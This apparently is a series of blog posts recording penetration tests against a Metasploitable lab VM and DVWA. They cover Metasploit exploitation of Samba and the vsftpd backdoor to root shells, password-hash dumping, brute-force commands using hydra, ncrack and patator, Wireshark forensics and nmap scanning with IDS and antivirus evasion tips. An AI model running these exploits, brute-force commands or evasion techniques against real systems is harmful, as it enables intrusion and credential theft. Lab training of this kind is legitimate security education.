msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  LSARPC           yes       The pipe name to use

Exploit target:

   Id  Name
   --  ----
   0   Linux vsyscall

RHOST is the target of the attack.

msf exploit(lsa_transnames_heap) > set RHOST

I will start with a simple exploit to get a shell on the target.

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell/bind_tcp
payload => linux/x86/shell/bind_tcp
msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST  yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  LSARPC           yes       The pipe name to use

Payload options (linux/x86/shell/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Linux vsyscall

It looks like Metasploit has all the information it needs.

msf exploit(lsa_transnames_heap) > exploit

[*] Started bind handler
[*] Creating nop sled....
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
[-] Exploit aborted due to failure: no-target: This target is not a vulnerable Samba server (Samba 3.0.20-Debian)
[*] Exploit completed, but no session was created.

The exploit didn’t work. Trying the next exploit:

msf exploit(lsa_transnames_heap) > use exploit/linux/samba/setinfopolicy_heap
msf exploit(setinfopolicy_heap) > show options

Module options (exploit/linux/samba/setinfopolicy_heap):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   RHOST                        yes       The target address
   RPORT       445              yes       Set the SMB service port
   StartBrute                   no        Start Address For Brute Forcing
   StopBrute                    no        Stop Address For Brute Forcing

Exploit target:

   Id  Name
   --  ----
   0   2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10

I need to reset the RHOST and payload when trying a new exploit.

Exploit target:

   Id  Name
   --  ----
   0   2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10

msf exploit(setinfopolicy_heap) > set RHOST
msf exploit(setinfopolicy_heap) > set payload linux/x86/shell/bind_tcp
payload => linux/x86/shell/bind_tcp
msf exploit(setinfopolicy_heap) > exploit

[*] Started bind handler
[*] Trying to exploit Samba with address 0xb67f1000...
[-] Server is most likely patched...
[*] Trying to exploit Samba with address 0xb67f2000...
[-] Server is most likely patched...
[*] Trying to exploit Samba with address 0xb67f4000...
[-] Server is most likely patched...
^C[-] Exploit failed: Interrupt 
[*] Exploit completed, but no session was created.

This exploit didn’t work either. Trying another:

msf exploit(setinfopolicy_heap) > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Automatic
msf exploit(usermap_script) > set RHOST
msf exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ciZ6DcyeZcCJsNkV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ciZ6DcyeZcCJsNkV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened ( -> at 2016-01-05 19:49:21 -0500

Success! I have a shell on the target. We can press CTRL+Z to save the shell in the background.

Background session 1? [y/N]  y
msf exploit(usermap_script) >

The usermap script attack exploits a command execution vulnerability in Samba through a username field. Since the username is entered before authentication, this exploit requires no authentication!

At this point, we can do one of two things: payloads or post-exploit scripts:

Metasploit offers over 200 payloads, but not every payload is compatible with every exploit. Most payloads you see only open a reverse shell to Metasploit, but a few unique payloads can add and edit files and users, change file permissions, perform DLL injections, or load Meterpreter. Meterpreter is by far the coolest payload offered by Metasploit. Metasploit resides solely in memory (to leave no trace on the disk), injects code into DLLs (so as to not spawn any processes), and all communication to Meterpreter is encrypted.
Once you get Meterpreter running on a machine, it is totally pwnd. Meterpreter gives you a whole environment on the infected machine to allow you to run commands, capture screenshots of the desktop, view the webcam, move the mouse, and capture keyboard input. Since Meterpreter runs only in memory, it will be gone once the machine restarts. It would be best to backdoor the machine.

Post-exploitation script allow us to gather information, pivot to other machines, sniff the network, set up a backdoor, etc.

msf exploit(usermap_script) > search post/linux/gather

Matching Modules

   Name                                     Disclosure Date  Rank    Description
   ----                                     ---------------  ----    -----------
   post/linux/gather/checkvm                                 normal  Linux Gather Virtual Environment Detection
   post/linux/gather/ecryptfs_creds                          normal  Gather eCryptfs Metadata
   post/linux/gather/enum_configs                            normal  Linux Gather Configurations
   post/linux/gather/enum_network                            normal  Linux Gather Network Information
   post/linux/gather/enum_protections                        normal  Linux Gather Protection Enumeration
   post/linux/gather/enum_psk                                normal  Linux Gather 802-11-Wireless-Security Credentials
   post/linux/gather/enum_system                             normal  Linux Gather System and User Information

I will use a script to gather information from the machine.

msf exploit(usermap_script) > use post/linux/gather/enum_system

I have a session saved from earlier, which I see using the following command.

msf post(enum_system) > sessions -l

Active sessions

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix      -> (
sf post(enum_system) > show options

Module options (post/linux/gather/enum_system):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(enum_system) > set SESSION 1
msf post(enum_system) > exploit

[+] Info:
Login with msfadmin/msfadmin to get starteded network!                     ____  
[+]     Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
[+]     Module running as "root" user
[*] Linux version stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_273307.txt
[*] User accounts stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_703384.txt
[*] Installed Packages stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_304431.txt
[*] Running Services stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_305863.txt
[*] Cron jobs stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_807045.txt
[*] Disk info stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_687962.txt
[*] Logfiles stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_837062.txt
[*] Setuid/setgid files stored in /root/.msf5/loot/20160105212135_default_192.168.238.131_linux.enum.syste_887699.txt
[*] Post module execution completed

There’s a lot of intel in these files. I want to try and gather some password hashes.

msf post(enum_system) > use post/linux/gather/hashdump
msf post(hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(hashdump) > set session 1
session => 1
msf post(hashdump) > exploit

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf5/loot/20160105212317_default_192.168.238.131_linux.hashes_446028.txt
[*] Post module execution completed

For fun, I’ll exploit another service. Metasploitable is running vsftpd, so I’ll search for exploits.

msf post(hashdump) > search vsftp

Matching Modules

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

msf post(hashdump) > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(vsftpd_234_backdoor) > set RHOST
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened ( -> at 2016-01-05 21:44:56 -0500

Background session 2? [y/N]  y

This gives a second session.

msf exploit(vsftpd_234_backdoor) > show sessions

Active sessions

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix      -> (
  2   shell unix      -> (

While Metasploit is an amazingly simple tool to use, one should be mindful of what’s going on under the hood to avoid the “script kiddie” moniker. Metasploit. Some things to keep in mind:

  • A decently tuned IDS will probably see you exploiting the service over the wire. Metasploit offers alternate methods of transporting over the wire, as well as different encoding schemes and fragmentation (note: encoding is NOT a good way of avoiding AV). Using an encrypted channel will also render the attack invisible.
  • Depending on the exploit or the payload, antivirus may catch on and mark your payload as malicious. DLL injection is an obvious way of avoiding AV because AV only scans the disk, but some exploits require disk writes. When injecting a payload into another process, Metasploit uses a default executable template which is easily detected by AV, regardless of the presence of a payload. If the target has any sort of AV, it is a good idea to change the executable template.

I’m sure I’ll be doing some more advanced attacks with Metasploit later to show off some more features.

Online brute force attacks

Online password attacks involve attacking services such as FTP, TELNET, SSH, or HTTP to try and guess a password. This type of attack differs from an offline attack in that in offline attacks, you have a hash and are only limited by the speed of your cracking machine, without communicating with the target. Online attacks are in constant communication with the target.

Because of this, online password attacks are extremely situational, and are very limited. The speed of the guesses can be affected by several your bandwidth, the target’s bandwidth, throttling the amount of guesses (tar pitting), account lockouts, and changing passwords. It’s also very loud and will surely be detected by an IDS.

Online brute force attacks that iterate over millions of passwords and usernames such as the rockyou.txt dictionary are impractical. Online attacks are much more effective with a smaller list containing the default/weak credentials.

In this post, I’ll use some popular tools used for cracking passwords over the wire.

To make things easier, I’ll use a small subset of the rockyou.txt wordlist, and make sure to insert the correct password in the list.


Ncrack is a very fast network authentication cracking tool, which is helpful for testing a large number of hosts for weak passwords.

In this case, I’ll audit our Metasploitable box for default easily cracked FTP credentials.

# ncrack -p 21 -user postgres -P shortlist.txt
Starting Ncrack 0.4ALPHA ( ) at 2015-11-08 23:15 EST
Discovered credentials for ftp on 21/tcp: 21/tcp ftp: 'postgres' 'postgres'
Ncrack done: 1 service scanned in 30.01 seconds.
Ncrack finished.


Hydra is another tool that can crack passwords over the network using a list of usernames and passwords.

# hydra -l postgres -P shortlist.txt ftp
Hydra ( starting at 2015-12-12 22:45:10
[DATA] max 16 tasks per 1 server, overall 64 tasks, 102 login tries (l:1/p:102), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host:   login: postgres   password: postgres
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2015-12-12 22:45:13

Hydra can also be used as an online password cracker.

I will need some information about the web form before I can unleash Hydra on it, specifically:

  • IP address/hostname
  • HTTP request method (i.e. GET or POST)
  • HTTP request parameters
  • Success/failure responses
  • Session cookies
  • Presence of lockout features that may slow down our cracking attempt
  • And, of course, a list of usernames and passwords.

For a username and password list, I rattled off the most popular usernames and passwords that came to mind.

  • admin
  • administrator
  • sysadmin
  • root
  • pass
  • password
  • admin
  • administrator
  • sysadmin
  • 1234
  • 12345
  • 123456
  • 1234567
  • 12345678
  • pass1234
  • password1234
  • password12345
  • default
  • root
  • toor

For the host, I decided to crack the login form for the Damn Vulnerable Web App

We can capture information about the HTTP requests and responses using OWASP, but I decided to use a Firefox browser addon called Tamper Data.

Navigating to, and with Tamper Data running, I enter some data into the username and password fields.

# hydra -L usernames.txt -P shorterlist.txt http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=password incorrect:H=Cookie: security;high;PHPSESSID=4npusjem9f38v9ao60qq48idm7"

-L and -P will iterate through a file, while -l and -p should be used if a single username/password is supplied

I can tell it’s an HTTP GET method one of two ways: Viewing the source of the page will the form action is a GET. I can also see the GET request inside of Tamper Data.

The next string includes some arguments Hydra needs. The arguments are separated by a colon.

The first argument tells Hydra where the address of the login form

The second argument tells Hydra where the username, password, and any other parameters passed to the server

The third argument contains a string that we know will appear upon either a successful or a failed login. If Hydra sees this string in an HTTP response, it will assume the login information was correct.

I also needed the presence of a fourth optional argument. Inside of DWVA is the web form vulnerable to brute force. We are required to log in to DWVA to access this.

This is done with cookies. We can see these inside of Tamper Data. We are looking for the PHPSESSID cookie (See )

Hydra ( starting at 2015-12-12 22:26:43
[DATA] max 16 tasks per 1 server, overall 64 tasks, 64 login tries (l:4/p:16), ~0 tries per task
[DATA] attacking service http-get-form on port 80
[80][http-get-form] host: login: admin password: password
[STATUS] 41.00 tries/min, 41 tries in 00:01h, 23 todo in 00:01h, 16 active
[STATUS] 31.00 tries/min, 62 tries in 00:02h, 2 todo in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2015-12-12 22:29:37


Medusa and Hydra do the same thing. Some people prefer Medusa, others Hydra. According to the author of Medusa, Medusa crashes less, more modular, and faster due to multithreading.

I think which tool you choose is completely your preference; but I prefer Hydra solely because that is what I learned how to use first.


Patator is a fast, multithreaded Python application supporting a lot of modules for different services.

$ ./ ftp_login host= user=postgres password=FILE0 0=/usr/share/wordlists/shortlist.txt
15:29:01 patator    INFO - Starting Patator v0.7-beta ( at 2015-12-13 15:29 EST
15:29:01 patator    INFO -                                                                              
15:29:01 patator    INFO - code  size    time | candidate                          |   num | mesg
15:29:01 patator    INFO - -----------------------------------------------------------------------------
15:29:01 patator    INFO - 230   17     0.014 | postgres                           |     8 | Login successful.
15:29:04 patator    INFO - 530   16     2.879 | 123456                             |     1 | Login incorrect.
15:29:04 patator    INFO - 530   16     2.869 | 12345                              |     2 | Login incorrect.
15:29:04 patator    INFO - 530   16     2.861 | 123456789                          |     3 | Login incorrect.
15:29:04 patator    INFO - 530   16     2.872 | password                           |     4 | Login incorrect.
15:29:37 patator    INFO - Hits/Done/Skip/Fail/Size: 102/102/0/0/102, Avg: 2 r/s, Time: 0h 0m 35s

Some more tools for examining packet captures

I wanted to take a quick look at some other free open source tools I can use to help me look at packet capture files. While Wireshark is an amazing tool, we have some other tools which can generate some reports about the packet capture or search for important information in a capture.

A quick note on packet capturing: As more websites start using HTTPS and more users switch over to secure protocols like SFTP, SMTPS, and SSH, packet captures become less useful to us.
However, analyzing packet captures in a corporate environment is still alive. Corporate IT sometimes installs a root certificate on each machine to intercept encrypted traffic in a classic man-in-the-middle attack by signing the certificate for a website themselves.

The first tool I’ll look at is called PCredz. It is available to install in Kali using aptitude. You can read more about PCredz here:

Looking at the packet capture we analyzed, we see that pcredz picked up the brute force attempts at the FTP server.

$ sudo pcredz -f packet_capture1.pcap
Pcredz 0.9
Author: Laurent Gaffie
Please send bugs/comments/pcaps to: [email protected]
This script will extract NTLM (http,ldap,smb,sql,etc), Kerberos,
FTP, HTTP Basic and credit card data from a given pcap file or from a live interface.
CC number scanning activated
Unknown format, trying TCPDump format
protocol: tcp >
FTP User: bjones
FTP Pass: anxiety

protocol: tcp >
FTP User: bjones
FTP Pass: alazreal

protocol: tcp >
FTP User: bjones
FTP Pass: bailey

protocol: tcp >
FTP User: bjones
FTP Pass: beetlebailey

And so on and so forth. This is a quick and easy way to scan packet captures for login information.

Another cool tool I found is tcptrace. The tcptrace manual says it looks at files and summarizes the connections therein inside a .txt file.

$ tcptrace packet_capture1.pcap > tcptrace.txt
TCP packet 9913: reserved bits are not all zero.
Further warnings disabled, use '-w' for more info
$ ls
packet_capture1.pcap tcptrace.txt

Another cool tool, txpxtract, can look at a capture file and rebuild the files (similar to what foremost was doing in my previous post).

$ mkdir extract
$ sudo tcpxtract -f packet_capture1.pcap -o extract/
Found file of type "html" in session [ ->], exporting to extract/00000000.html
Found file of type "html" in session [ ->], exporting to extract/00000001.html
Found file of type "html" in session [ ->], exporting to extract/00000002.html
Found file of type "jpg" in session [ ->], exporting to extract/00000003.jpg
Found file of type "jpg" in session [ ->], exporting to extract/00000004.jpg
$ sudo chmod uog+rwx -R extract/

I found Andrea!

Chaosreader is another cool tool. Chaosreader will export packet capture files into an html file we can view in a browser.

$ chaosreader -D chaos packet_capture1.pcap
Chaosreader ver 0.94
Opening, packet_capture1.pcap

Reading file contents,
ERROR10: Input dosen't look like a tcpdump or snoop output file.
If it is tcpdump, it may be a wrong or new version.

$ file packet_capture1.pcap
packet_capture1.pcap: pcap-ng capture file - version 1.0

Apparently, this file is a next generation packet capture. According to the Wireshark wiki, the next generation format (pcapng) is a newer format to overcome the limited libpcap library format. I can use a utility called editcap to downgrade this file to older file format which chaosreader can open.

$ editcap -F pcap packet_capture1.pcap oldFormat.pcap
$ file oldFormat.pcap
oldFormat.pcap: tcpdump

Chaosreader can now read the file.

$ mkdir chaos
$ chaosreader -D chaos oldFormat.pcap
Chaosreader ver 0.94
Opening, oldFormat.pcap
Reading file contents,
100% (21759501/21759501)
Reassembling packets,
100% (24374/31009)

In this report, Chaosreader shows events such as the port scan:

Scrolling down to see the FTP brute force, we can click on the report Chaosreader generates


Chaosreader will also show metrics such as the count of each IP address’s appearance and the count of each TCP/UDP port’s appearance.

Xplico is a network forensics tool. Instead of trying to get it working in Kali, I downloaded an Ubuntu image with the tool already set up (I downloaded it from ). After starting the VM, I’ll connect to the Xplico VM from my Kali’s browser through port 9876.


Xplico has a lot of features, but I really only want to look at its packet captures features in this post.

Logging in with username ‚Äúxplico‚ÄĚ password ‚Äúxplico‚ÄĚ, I can upload a .pcap file by creating a new case, a new session, and then navigating to that session.

After uploading the packet capture, I can filter different traffic like DNS, HTTP, email traffic, FTP, etc.

In the previous exercise, the user downloaded a password list from the web. We can see HTTP requests related to this.

Vulnerability analysis part 4: Analyzing packets with Wireshark

Here is the given scenario: I’m a consultant for the security firm AllSafe. Our biggest client, E-Corp, suspects that an AllSafe employee did something to their network, and they need proof. All I have to work with is the packet capture file from our IDS.

A quick note about running Wireshark: To capture packets, Wireshark must be started as root. A quick search of the exploit database shows how many exploits there are for Wireshark. Obviously, I don’t want to be running Wireshark as root.

To capture packets, it’s safest use Wireshark’s CLI version, tshark.

# sudo tshark -i eth0 -w /tmp/packet_capture1.pcap

This allows me to promiscuously capture packets on the eth0 interface.

Now if I want to examine the capture (or any other .pcap file I download from the internet) from Kali, I need to modify permissions and view the file as a non-root user.

# chmod ugo+rx /tmp/packet_capture1.pcap

(ugo means users, groups, others, +rx means read and execute privileges). I’ll create a non-root user:

# adduser user1

After logging into our standard account with the supplied password, I’ll get to work.

$ wireshark /tmp/packet_capture1.pcap

I look for any host discovery scans. Nmap will do these scans differently depending on two things:

1) Is the user root?
2) Is it a local address (i.e. on the same subnet)

Nmap performs the following requests when scanning for hosts on a different network:

1) ICMP echo request
2) TCP SYN to port 443
3) TCP ACK to port 80
4) ICMP timestamp request

Filtering ICMP traffic reveals nothing.

Nmap performs ARP requests when scanning for hosts on the same subnet. I’ll look for ARP requests:

Bingo, I found host looking for hosts on our subnet. I’ll see if he was doing any port scans. I’m looking for TCP packets, specifically handshakes. I don’t know what kind of scan was performed, or which ports he scanned.

I’ll start by looking for traffic involving the suspicious machine to common ports. I expect the scan to be done first, so if I start seeing a lot of traffic on the port, I’ll just assume that he didn’t scan that port.

I look at ports for FTP, SSH, Telnet, and SMTP. They all start with:

This indicates that the suspicious host did an nmap stealth scan of the machine. I look at a few more ports, and it appears that he scanned ports 1-30. I didn’t see any of the SYN, SYN ACK, or RST packets for any ports above 30.

I want to see what websites he visited. I can do this by adding a filter on DNS traffic involving our suspicious machine.

It looks like he visited the website ‚Äú‚ÄĚ. This page has a lot of images and scripts which I can see if I take a closer look at his web traffic by adding a filter to see HTTP traffic.

Scrolling through the various loading of various widgets, images, and ads, I see a few interesting packets.

It looks like the suspicious .129 address tried visiting ~/bjones. I can follow the TCP stream of the subsequent HTTP GET packets and see what it contains.

Bob Jones must have had an Apache web server running. If I look a little after this, I see something else interesting:

The suspect downloaded a .rar password list. I wonder what he’ll use password list for‚Ķ

Looking for any FTP traffic.

Here I see the password list being used to try to brute force the password for bjones. To find out if he was successful, let’s find out what response the server gives if the login is successful. According to, a server response of 230 indicates the user has successfully logged in.

If I go to where these packets occurred, I can see the correct FTP password being accepted by .131

User bjones had a password of password1234. Following the TCP stream can show us what mischief he was up to.

It looks like after navigating to the folder called Documents, the suspect downloaded the files andrea-nude.jpg, password-email.txt, password-email.txt, passwords.ods, and proposed-email.txt.

Using a little magic, I can rebuild these files and see what they contained.

Changing the filter to include packets with the FTP-DATA protocol. Now find the FTP-DATA packet after the response for the request for the .jpg. Save the raw dump to a location (I saved my in /tmp/rawdumps).

This data is meaningless in it’s current form. But using the Linux tools file and foremost, I can determine the type of file and then reconstruct the file by looking at headers, footers, and data.

$ file andrea-nude 
andrea-nude: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 332x332, frames 3
$ foremost andrea-nude 
Processing: andrea-nude
$ cd output/
$ ls
audit.txt jpg
$ eog jpg

I’ll do the same on the other files. Not all streams require us to decode them with file and foremost.

The email:

The OpenOffice spreadsheet:

Another email:

I also see the user SSHd to the victim machine. Obviously I won’t be able to see details of encrypted traffic.

This is all I was able to find from this file.

Vulnerability analysis part 3: Port scanning techniques

Over in Kali, I’ll use nmap to scout out the target. At first I’ll try to be stealthy to avoid tripping the Suricata IDS I set up in part 1.

Nmap can report that a port is either open, closed, filtered, or unfiltered. Open ports means that some service is listening on that port. Closed ports mean that there is nothing listening. Filtered ports mean that firewall is blocking the scanning packets, so the scan cannot determine if it is open or closed. Unfiltered ports means nmap cannot tell what is listening on the port, but there was a response.

Let’s do a default scan. The -F is a port specifier flag, which tells nmap to only scan the top 100 most used ports.

If no scan technique is specified, nmap will use the -sS scanning technique. This stealthy scan sends a TCP SYN packet to the host. Once you receive the TCP SYN ACK packet, it closes the connection with a RST packet (the TCP handshake never finishes). This is the least intrusive scan. It crafts a raw packet instead of using the operating system’s networking stack.

# nmap -F
Starting Nmap 6.49BETA4 ( ) at 2015-09-01 19:51 EDT
Nmap scan report for
Host is up (0.0012s latency).
Not shown: 82 closed ports
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
8009/tcp open ajp13
MAC Address: 00:0C:29:54:6E:48 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

The Suricata log did not show any entries for the SYN scan. Let’s be a little more noisy. The -sT scan technique performs a TCP connect scan. It will complete all three steps of the TCP handshake. This scan will use the operating system’s networking capabilities to open TCP connection. As soon as the connection is established, the it immediately closes the connection. This is easier for an IDS to see, as there will be completed connection. Why would we choose to use this scan? The RST packet causes problems on some networking stacks. Using the specially crafted packets of the SYN scan may require additional privileges on a machine. TCP connect scanning require no such privileges.

# nmap -F -sT

Starting Nmap 6.49BETA4 ( ) at 2015-09-06 17:52 EDT
Nmap scan report for
Host is up (0.0013s latency).
Not shown: 82 closed ports
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
8009/tcp open ajp13
MAC Address: 00:0C:29:54:6E:48 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

Suricata gives us an alert for each open port that was scanned, telling us there was a TCP packet with an invalid timestamp coming from our Kali box’s IP address.

UDP scanning is also possible using nmap. Using the -sU flag, you can send UDP packets to the machine on a range of ports. Since UDP is connectionless, the scan sends out multiple UDP packets in hopes that they get through. If no response is recorded, the scan assumes the port is open. If the port is closed, you will receive an ICMP port unreachable message. This scan can give false positives, as some firewalls filter out the ICMP port unreachable message, and it will tell you a UDP port is open when in reality it is closed.

You might choose to use a UDP scan if looking for DNS or DHCP services.

Notice how long it took for this scan to complete, while only scanning the most common ports with the -F flag.

# nmap -sU -F

Starting Nmap 6.49BETA4 ( ) at 2015-09-06 18:09 EDT
Nmap scan report for
Host is up (0.00049s latency).
Not shown: 93 closed ports
53/udp open domain
68/udp open|filtered dhcpc
69/udp open|filtered tftp
111/udp open rpcbind
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
2049/udp open nfs
MAC Address: 00:0C:29:54:6E:48 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 108.92 seconds

This UDP scan did not set off Suricata.

Let’s be louder.


These types of scans can tell you what OS is running on a host, and which service/version number of the service is running on a port on a host. This can allow you search for an exploit for the service on the host.

The -sV flag will return what service/version is running on a specified ports. The -O flag will tell us what OS is running on a given host.

# nmap -sV -O

Starting Nmap 6.49BETA4 ( ) at 2015-09-06 20:32 EDT
Nmap scan report for
Host is up (0.00030s latency).
Not shown: 977 closed ports
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open shell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:54:6E:48 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 18.25 seconds

This scan alerted Suricata of unknown ICMPv4 codes.

We can perform this in depth scan with some additional flags to make it a little quieter. The -T flag allows you to set a parameter of 0 to 5 to adjust the timing of the scan. -T0 (paranoid template) is very slow and depending on the IDS configuration, might not set off an alarm. -T5 (insane) uses a lot of network bandwidth and can quickly train the target host’s resources.

ACK scans will send a special packet with the ACK flag set to 1. If you receive a RST packet in response, the port is parked as unfiltered. No response might indicate the port is being filtered by a firewall. This scan is commonly used to look for firewalls and attempt to determine the firewall’s ruleset.

# nmap -sT

Starting Nmap 6.49BETA4 ( ) at 2015-09-09 18:02 EDT
Nmap scan report for
Host is up (0.0017s latency).
Not shown: 977 closed ports
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:54:6E:48 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

The ACK scan will alert Suricata that a scan took place on the open ports.


You can also do port scans similar to nmap with Netcat netcat (nc). Netcat does not require root privileges. Netcat is also a much smaller package than nmap, and can run on lower-end machines.

The basic scan on port 80:

# nc -vz 80 inverse host lookup failed: Unknown host
(UNKNOWN) [] 80 (http) open

Netcat is trying to do a DNS lookup on the IP address. We can disable this with the -n flag.

With a little bit of bash scripting, we can look at multiple ports:

# for i in {21,25}; do nc -vnz $i; done
(UNKNOWN) [] 21 (ftp) open
(UNKNOWN) [] 25 (smtp) open

We can scan a range of ports:

# for i in {25..30}; do nc -vnz $i; done
(UNKNOWN) [] 25 (smtp) open
(UNKNOWN) [] 26 (?) : Connection refused
(UNKNOWN) [] 27 (?) : Connection refused
(UNKNOWN) [] 28 (?) : Connection refused
(UNKNOWN) [] 29 (?) : Connection refused
(UNKNOWN) [] 30 (?) : Connection refused

Using Netcat did not alert Suricata.

Next up, we’ll try and look at some of these scans in Wireshark.